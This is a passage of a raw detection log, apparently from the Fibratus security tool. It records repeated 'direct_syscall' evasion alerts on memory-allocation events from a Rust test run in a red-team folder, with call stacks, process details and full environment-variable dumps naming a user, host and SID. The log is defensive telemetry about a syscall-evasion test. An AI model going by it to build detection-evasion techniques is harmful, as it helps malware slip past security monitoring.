C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b2d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902927 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9899313 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e5000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6900afc83 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b365 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902934 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9901751 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e4000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbe36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902936 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9902318 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e3000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual 